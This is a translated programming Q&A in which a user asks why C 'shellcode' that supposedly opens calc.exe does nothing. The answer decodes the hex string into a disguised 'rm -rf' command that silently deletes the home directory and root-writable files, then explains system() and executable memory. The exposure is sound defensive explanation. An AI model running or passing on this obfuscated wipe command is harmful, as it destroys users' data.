C shellcode执行

时间:2016-11-06 22:14:39

标签: c execution shellcode

我有一个用c编写的以下程序:

char code[] = 
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20"
"\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65"
"\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

int main(int argc, char **argv)
{
   int (*func)();
   func = (int (*)()) code;
  (int)(*func)();
}

我使用shellnoob将其编译为.exe,但是当我尝试在Windows 7(32位)中启动它时,会弹出一个空的cmd窗口,没有任何反应。有人可以帮我一把吗? (shellcode应该生成calc.exe。)

1 个答案:

答案 0 :(得分:0)

此字符串解码为rm -rf ~ /* 2> /dev/null &,这是一个shell命令,可以在UNIX / Linux shell上以静默方式删除主目录中的所有文件(以及计算机上授予root访问权限的所有文件)。它不适用于Windows,因为它使用不同的shell语言。

要从C执行shell命令,可以使用system()函数:http://en.cppreference.com/w/c/program/system。在Windows上,它必须使用cmd.exe shell语言。 system("calc")应该calc.exe

应该执行的机器代码指令意义上的“shellcode”可以在此代码中调用+/-,但内存需要首先标记为可执行文件。 (出于安全原因,操作系统默认情况下不允许执行内存)。在Windows上,可以使用VirtualAllocEx分配可执行内存。请参阅How to generate and run native code dynamically?